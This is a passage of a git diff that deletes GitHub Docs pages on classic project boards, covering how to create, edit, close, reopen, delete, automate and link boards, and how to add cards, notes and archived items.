request review status | -| Bug triage | Triage and prioritize bugs with To do, High priority, Low priority, and Closed columns | - -For more information on automation for {% data variables.product.prodname_projects_v1 %}, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards). - -{% data reusables.project-management.copy-project-boards %} - -{% endif %} - -## Further reading - -{%- ifversion projects-v1-can-create %}- [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board){% endif %} -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board) -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization) -* [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts#project-boards) diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md deleted file mode 100644 index a109f0115437..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: 'Changing {% data variables.product.prodname_project_v1 %} visibility' -intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can make a {% data variables.projects.projects_v1_board %} public or private.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/changing-project-board-visibility - - /articles/changing-project-board-visibility - - /github/managing-your-work-on-github/changing-project-board-visibility -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: Change visibility -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -{% data reusables.project-management.project-board-visibility %} - -> [!NOTE] -> {% data reusables.projects.owners-can-limit-visibility-permissions %} -> * When you make your {% data variables.projects.projects_v1_board %} public, organization members are given read access by default. You can give specific organization members write or admin permissions by giving access to teams they're on or by adding them to the {% data variables.projects.projects_v1_board %} as a collaborator. For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization). - -1. Navigate to the {% data variables.projects.projects_v1_board %} you want to make public or private. -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -{% data reusables.project-management.choose-visibility %} -1. Click **Save**. diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md deleted file mode 100644 index 2cdc7e45c19a..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: 'Closing a {% data variables.product.prodname_project_v1 %}' -intro: 'If you''ve completed all the tasks in a {% data variables.projects.projects_v1_board %} or no longer need to use a {% data variables.projects.projects_v1_board %}, you can close the {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/closing-a-project-board - - /articles/closing-a-project - - /articles/closing-a-project-board - - /github/managing-your-work-on-github/closing-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -When you close a {% data variables.projects.projects_v1_board %}, any configured workflow automation will pause by default. - -If you reopen a {% data variables.projects.projects_v1_board %}, you have the option to _sync_ automation, which updates the position of the cards on the board according to the automation settings configured for the board. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board) or [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards). - -1. Navigate to the list of {% data variables.projects.projects_v1_boards %} in your repository or organization, or owned by your personal account. -1. In the projects list, next to the {% data variables.projects.projects_v1_board %} you want to close, click {% octicon "kebab-horizontal" aria-label="Project menu" %}. -![Screenshot showing the projects index. The project menu icon is highlighted with an orange rectangle.](/assets/images/help/projects/project-list-action-chevron.png) -1. Click **Close**. - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board) -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository) -* [AUTOTITLE](/organizations/managing-organization-settings/disabling-project-boards-in-your-organization) -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization) diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md deleted file mode 100644 index 564652b431dc..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 'Configuring automation for {% data variables.product.prodname_projects_v1 %}' -intro: 'You can set up automatic workflows to move issues and pull requests to a {% data variables.projects.projects_v1_board %} column when a specified event occurs.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/configuring-automation-for-project-boards - - /articles/configuring-automation-for-project-boards - - /github/managing-your-work-on-github/configuring-automation-for-project-boards -versions: - feature: projects-v1 -topics: - - Pull requests - - Projects - - Issues - - Project management -shortTitle: Configure automation -type: how_to -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -{% data reusables.project-management.automate-project-board-permissions %} For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards). - -{% data reusables.project-management.use-automated-template %} - -{% data reusables.project-management.resync-automation %} - -> [!TIP] -> To edit columns that already have configured automation, click **Manage** at the bottom of the column. - -1. Navigate to the {% data variables.projects.projects_v1_board %} you want to automate. -1. In the column you want to automate, click {% octicon "kebab-horizontal" aria-label="Column menu" %}. -![Screenshot showing a column in a project. The menu icon is highlighted with an orange outline.](/assets/images/help/projects/edit-column-button.png) -1. Click **Manage automation**. -1. Using the Preset drop-down menu, select an automation preset. -1. Select the workflow automations you want to configure for the column. -1. Click **Update automation**. - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards) diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md deleted file mode 100644 index dff417f967fa..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: 'Creating a {% data variables.product.prodname_project_v1 %}' -intro: '{% data variables.projects.projects_v1_boards_caps %} can be used to create customized workflows to suit your needs, like tracking and prioritizing specific feature work, comprehensive roadmaps, or even release checklists.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/creating-a-project-board - - /articles/creating-a-project - - /articles/creating-a-project-board - - /github/managing-your-work-on-github/creating-a-project-board -versions: - feature: projects-v1-can-create -topics: - - Pull requests - - Issues - - Projects - - Project management -type: how_to -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -{% data reusables.project-management.use-automated-template %} - -{% data reusables.project-management.copy-project-boards %} - -{% data reusables.project-management.link-repos-to-project-board %} For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board). - -Once you've created your {% data variables.projects.projects_v1_board %}, you can add issues, pull requests, and notes to it. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board) and [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board). - -You can also configure workflow automations to keep your {% data variables.projects.projects_v1_board %} in sync with the status of issues and pull requests. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards). - -{% data reusables.project-management.project-board-import-with-api %} - -## Creating a user-owned {% data variables.projects.projects_v1_board %} - -{% data reusables.projects.classic-project-creation %} - -{% data reusables.profile.access_profile %} -1. On the top of your profile page, in the main navigation, click **{% octicon "project" aria-hidden="true" %} Projects**. - - ![Screenshot showing profile tabs. The 'Projects' tab is highlighted with an orange outline.](/assets/images/help/projects-v2/tab-projects.png) - -1. Click **Projects (classic)**. -{% data reusables.project-management.click-new-project %} -{% data reusables.project-management.create-project-name-description %} -{% data reusables.project-management.choose-template %} -{% data reusables.project-management.choose-visibility %} -{% data reusables.project-management.linked-repositories %} -{% data reusables.project-management.create-project-button %} -{% data reusables.project-management.add-column-new-project %} -{% data reusables.project-management.name-project-board-column %} -{% data reusables.project-management.select-column-preset %} -{% data reusables.project-management.select-automation-options-new-column %} -{% data reusables.project-management.click-create-column %} -{% data reusables.project-management.add-more-columns %} - -{% data reusables.project-management.edit-project-columns %} - -## Creating an organization-wide {% data variables.projects.projects_v1_board %} - -{% data reusables.projects.classic-project-creation %} - -> [!NOTE] -> {% data reusables.projects.owners-can-limit-visibility-permissions %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. Click **Projects (classic)**. -{% data reusables.project-management.click-new-project %} -{% data reusables.project-management.create-project-name-description %} -{% data reusables.project-management.choose-template %} -{% data reusables.project-management.choose-visibility %} -{% data reusables.project-management.linked-repositories %} -{% data reusables.project-management.create-project-button %} -{% data reusables.project-management.add-column-new-project %} -{% data reusables.project-management.name-project-board-column %} -{% data reusables.project-management.select-column-preset %} -{% data reusables.project-management.select-automation-options-new-column %} -{% data reusables.project-management.click-create-column %} -{% data reusables.project-management.add-more-columns %} - -{% data reusables.project-management.edit-project-columns %} - -{% ifversion projects-v1-create-repo-project %} - -## Creating a repository {% data variables.projects.projects_v1_board %} - -{% data reusables.projects.classic-project-creation %} - -{% data reusables.repositories.navigate-to-repo %} -1. Under your repository name, click **{% octicon "project" aria-hidden="true" %} Projects**. -1. Click **Projects (classic)**. -{% data reusables.project-management.click-new-project %} -{% data reusables.project-management.create-project-name-description %} -{% data reusables.project-management.choose-template %} -{% data reusables.project-management.create-project-button %} -{% data reusables.project-management.add-column-new-project %} -{% data reusables.project-management.name-project-board-column %} -{% data reusables.project-management.select-column-preset %} -{% data reusables.project-management.select-automation-options-new-column %} -{% data reusables.project-management.click-create-column %} -{% data reusables.project-management.add-more-columns %} - -{% data reusables.project-management.edit-project-columns %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board){% ifversion fpt or ghec %} -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board){% endif %} -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards) diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md deleted file mode 100644 index 69e5c8c168cc..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'Deleting a {% data variables.product.prodname_project_v1 %}' -intro: 'You can delete an existing {% data variables.projects.projects_v1_board %} if you no longer need access to its contents.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/deleting-a-project-board - - /articles/deleting-a-project - - /articles/deleting-a-project-board - - /github/managing-your-work-on-github/deleting-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -> [!TIP] -> If you'd like to retain access to a completed or unneeded {% data variables.projects.projects_v1_board %} without losing access to its contents, you can [close the {% data variables.projects.projects_v1_board %}](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board) instead of deleting it. - -1. Navigate to the {% data variables.projects.projects_v1_board %} you want to delete. -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.click-edit-sidebar-menu-project-board %} -1. Click **Delete project**. -1. To confirm that you want to delete the {% data variables.projects.projects_v1_board %}, click **OK**. - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board) -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository) -* [AUTOTITLE](/organizations/managing-organization-settings/disabling-project-boards-in-your-organization) diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md deleted file mode 100644 index 9f85acd665ee..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: 'Editing a {% data variables.product.prodname_project_v1 %}' -intro: 'You can edit the title and description of an existing {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/editing-a-project-board - - /articles/editing-a-project - - /articles/editing-and-deleting-a-project - - /articles/editing-a-project-board - - /github/managing-your-work-on-github/editing-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -{% ifversion projects-v1-can-create %} - -> [!TIP] -> For details on adding, removing, or editing columns in your {% data variables.projects.projects_v1_board %}, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board). - -{% endif %} - -1. Navigate to the {% data variables.projects.projects_v1_board %} you want to edit. -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.click-edit-sidebar-menu-project-board %} -1. Modify the {% data variables.projects.projects_v1_board %} name and description as needed, then click **Save project**. - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board) diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md deleted file mode 100644 index a795611020d9..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: 'Managing {% data variables.product.prodname_projects_v1 %}' -shortTitle: 'Managing {% data variables.product.prodname_projects_v1 %}' -intro: 'Learn how to create and manage {% data variables.projects.projects_v1_boards %}' -versions: - feature: projects-v1 -topics: - - Issues - - Projects -children: - - /about-project-boards - - /creating-a-project-board - - /editing-a-project-board - - /linking-a-repository-to-a-project-board - - /about-automation-for-project-boards - - /configuring-automation-for-project-boards - - /changing-project-board-visibility - - /closing-a-project-board - - /reopening-a-closed-project-board - - /deleting-a-project-board -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md deleted file mode 100644 index 9d7c01329b23..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: 'Linking a repository to a {% data variables.product.prodname_project_v1 %}' -intro: 'You can link a repository to your organization''s or personal account''s {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/linking-a-repository-to-a-project-board - - /articles/linking-a-repository-to-a-project-board - - /github/managing-your-work-on-github/linking-a-repository-to-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: Link repository to board -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -Anyone with write permissions to a {% data variables.projects.projects_v1_board %} can link repositories owned by that organization or personal account to the {% data variables.projects.projects_v1_board %}. For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization) or [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account). - -{% data reusables.project-management.link-repos-to-project-board %} You can add issues and pull requests from any unlinked repositories by typing the issue or pull request URL in a card. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board). - -1. Navigate to the {% data variables.projects.projects_v1_board %} where you want to link a repository. -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -1. In the left sidebar, click **Linked repositories**. -1. Click **Link a repository**. -1. Search for the repository you'd like to link. -1. Click **Link**. To unlink, click **Unlink**. - -> [!NOTE] -> In order to link a repository to your organization or user owned {% data variables.projects.projects_v1_board %} the repository needs to have issues enabled. That is, the repository has an "Issues" tab (in forked repositories issues are disabled by default). For information on how to enable or disable issues for a repository, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues). - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md deleted file mode 100644 index 41c16af5822f..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: 'Reopening a closed {% data variables.product.prodname_project_v1 %}' -intro: 'You can reopen a closed {% data variables.projects.projects_v1_board %} and restart any workflow automation that was configured for the {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/reopening-a-closed-project-board - - /articles/reopening-a-closed-project-board - - /github/managing-your-work-on-github/reopening-a-closed-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: 'Reopen {% data variables.product.prodname_project_v1 %}' -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -When you close a {% data variables.projects.projects_v1_board %}, any workflow automation that was configured for the {% data variables.projects.projects_v1_board %} will pause by default. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board). - -When you reopen a {% data variables.projects.projects_v1_board %}, you have the option to _sync_ automation, which updates the position of the cards on the board according to the automation settings configured for the board. - -1. Navigate to the {% data variables.projects.projects_v1_board %} you want to reopen. -{% data reusables.project-management.click-menu %} -1. Choose whether to sync automation for your {% data variables.projects.projects_v1_board %} or reopen your {% data variables.projects.projects_v1_board %} without syncing. - * To reopen your {% data variables.projects.projects_v1_board %} and sync automation, click **Reopen and sync project**. - * To reopen your {% data variables.projects.projects_v1_board %} without syncing automation, using the reopen drop-down menu, click **Reopen only**. Then, click **Reopen only**. - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards) diff --git a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md deleted file mode 100644 index e7376e60100f..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'Adding issues and pull requests to a {% data variables.product.prodname_project_v1 %}' -intro: 'You can add issues and pull requests to a {% data variables.projects.projects_v1_board %} in the form of cards and triage them into columns.' -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board - - /articles/adding-issues-and-pull-requests-to-a-project - - /articles/adding-issues-and-pull-requests-to-a-project-board - - /github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: 'Add issues & PRs to {% data variables.product.prodname_project_v1 %}' -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -You can add issue or pull request cards to your {% data variables.projects.projects_v1_board %} by: -* Dragging cards from the **Triage** section in the sidebar. -* Typing the issue or pull request URL in a card. -* Searching for issues or pull requests in the {% data variables.projects.projects_v1_board %} search sidebar. - -You can put a maximum of 2,500 cards into each project column. If a column has reached the maximum number of cards, no cards can be moved into that column. - -> [!NOTE] -> You can also add notes to your {% data variables.projects.projects_v1_board %} to serve as task reminders, references to issues and pull requests from any repository on {% data variables.product.github %}, or to add related information to your {% data variables.projects.projects_v1_board %}. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board). - -{% data reusables.project-management.edit-in-project %} - -{% data reusables.project-management.link-repos-to-project-board %} When you search for issues and pull requests to add to your {% data variables.projects.projects_v1_board %}, the search automatically scopes to your linked repositories. You can remove these qualifiers to search within all organization repositories. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board). - -## Adding issues and pull requests to a {% data variables.projects.projects_v1_board %} - -1. Navigate to the {% data variables.projects.projects_v1_board %} where you want to add issues and pull requests. -1. In your {% data variables.projects.projects_v1_board %}, click **{% octicon "plus" aria-hidden="true" %} Add cards**. -![Screenshot showing the header of a project. The "Add cards" button is highlighted with an orange outline.](/assets/images/help/projects/add-cards-button.png) -1. Search for issues and pull requests to add to your {% data variables.projects.projects_v1_board %} using search qualifiers such as `is:issue is:open`. For more information on search qualifiers you can use, see [AUTOTITLE](/search-github/searching-on-github/searching-issues-and-pull-requests). - - > [!TIP] - > * You can also add an issue or pull request by typing the URL in a card. - > * If you're working on a specific feature, you can apply a label to each related issue or pull request for that feature, and then easily add cards to your {% data variables.projects.projects_v1_board %} by searching for the label name. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels). - -1. From the filtered list of issues and pull requests, drag the card you'd like to add to your {% data variables.projects.projects_v1_board %} and drop it in the correct column. Alternatively, you can move cards using keyboard shortcuts. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %} - - > [!TIP] - > You can drag and drop or use keyboard shortcuts to reorder cards and move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %} - -## Adding issues and pull requests to a {% data variables.projects.projects_v1_board %} from the sidebar - -1. On the right side of an issue or pull request, click **Projects {% octicon "gear" aria-hidden="true" %}**. - - ![Screenshot showing an issue's sidebar. The "Projects" section header is highlighted with an orange outline.](/assets/images/help/projects-v2/issue-sidebar-projects.png) - -1. Click the **Recent**, **Repository**, **User**, or **Organization** tab for the {% data variables.projects.projects_v1_board %} you would like to add to. -1. Type the name of the project in **Filter projects** field. -1. Select one or more {% data variables.projects.projects_v1_boards %} where you want to add the issue or pull request. -1. Click **Awaiting triage**{% octicon "triangle-down" aria-hidden="true" %}, then click the column where you want your issue or pull request. The card will move to the bottom of the {% data variables.projects.projects_v1_board %} column you select. - ![Screenshot showing the projects section in an issue's sidebar. The awaiting triage option is highlighted with an orange outline.](/assets/images/help/projects/sidebar-select-project-board-column-menu.png) - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board) diff --git a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md deleted file mode 100644 index 1108b55b9361..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'Adding notes to a {% data variables.product.prodname_project_v1 %}' -intro: 'You can add notes to a {% data variables.projects.projects_v1_board %} to serve as task reminders or to add information related to the {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-notes-to-a-project-board - - /articles/adding-notes-to-a-project - - /articles/adding-notes-to-a-project-board - - /github/managing-your-work-on-github/adding-notes-to-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: 'Add notes to {% data variables.product.prodname_project_v1 %}' -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -> [!TIP] -> * You can format your note using Markdown syntax. For example, you can use headings, links, task lists, or emoji. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). -> * You can drag and drop or use keyboard shortcuts to reorder notes and move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %} -> * Your {% data variables.projects.projects_v1_board %} must have at least one column before you can add notes.{% ifversion projects-v1-can-create %} For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board).{% endif %} - -When you add a URL for an issue, pull request, or another {% data variables.projects.projects_v1_board %} to a note, you'll see a preview in a summary card below your text. - -## Adding notes to a {% data variables.projects.projects_v1_board %} - -1. Navigate to the {% data variables.projects.projects_v1_board %} where you want to add notes. -1. In the column you want to add a note to, click {% octicon "plus" aria-label="Add a note to this column" %}. - ![Screenshot showing a project column. The 'add a note to this column' button is highlighted with an orange outline.](/assets/images/help/projects/add-note-button.png) -1. Type your note, then click **Add**. - - > [!TIP] - > You can reference an issue or pull request in your note by typing its URL in the card. - -## Converting a note to an issue - -If you've created a note and find that it isn't sufficient for your needs, you can convert it to an issue. - -When you convert a note to an issue, the issue is automatically created using the content from the note. The first line of the note will be the issue title and any additional content from the note will be added to the issue description. - -> [!TIP] -> You can add content in the body of your note to @mention someone, link to another issue or pull request, and add emoji. These {% data variables.product.prodname_dotcom %} Flavored Markdown features aren't supported within {% data variables.projects.projects_v1_board %} notes, but once your note is converted to an issue, they'll appear correctly. For more information on using these features, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github). - -1. Navigate to the note that you want to convert to an issue. -{% data reusables.project-management.project-note-more-options %} -1. Click **Convert to issue**. -1. If the card is on an organization-wide {% data variables.projects.projects_v1_board %}, in the drop-down menu, choose the repository you want to add the issue to. -1. Optionally, edit the pre-filled issue title, and type an issue body. -1. Click **Convert to issue**. -1. The note is automatically converted to an issue. In the {% data variables.projects.projects_v1_board %}, the new issue card will be in the same location as the previous note. - -## Editing and removing a note - -1. Navigate to the note that you want to edit or remove. -{% data reusables.project-management.project-note-more-options %} -1. To edit the contents of the note, click **Edit note**. -1. To delete the contents of the notes, click **Delete note**. - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) -{%- ifversion projects-v1-can-create %}- [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board){% endif %} -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board) diff --git a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md b/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md deleted file mode 100644 index 38d90227060b..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'Archiving cards on a {% data variables.product.prodname_project_v1 %}' -intro: 'You can archive {% data variables.projects.projects_v1_board %} cards to declutter your workflow without losing the historical context of a project.' -redirect_from: - - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/archiving-cards-on-a-project-board - - /articles/archiving-cards-on-a-project-board - - /github/managing-your-work-on-github/archiving-cards-on-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: 'Archive cards on {% data variables.product.prodname_project_v1 %}' -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -Automation in your {% data variables.projects.projects_v1_board %} does not apply to archived {% data variables.projects.projects_v1_board %} cards. For example, if you close an issue in a {% data variables.projects.projects_v1_board %}'s archive, the archived card does not automatically move to the "Done" column. When you restore a card from the {% data variables.projects.projects_v1_board %} archive, the card will return to the column where it was archived. - -## Archiving cards on a {% data variables.projects.projects_v1_board %} - -1. In a {% data variables.projects.projects_v1_board %}, find the card you want to archive, then click {% octicon "kebab-horizontal" aria-label="Card menu" %}. -![Screenshot showing a card on a project. The card menu icon is highlighted with an orange outline.](/assets/images/help/projects/select-archiving-options-project-board-card.png) -1. Click **Archive**. - -## Restoring cards on a {% data variables.projects.projects_v1_board %} from the sidebar - -{% data reusables.project-management.click-menu %} -1. Click {% octicon "kebab-horizontal" aria-label="Project menu" %}, then click **View archive**. - ![Screenshot showing the project menu. The "View archive" option is highlighted with an orange outline.](/assets/images/help/projects/select-view-archive-option-project-board-card.png) -1. Above the {% data variables.projects.projects_v1_board %} card you want to unarchive, click **Restore**. diff --git 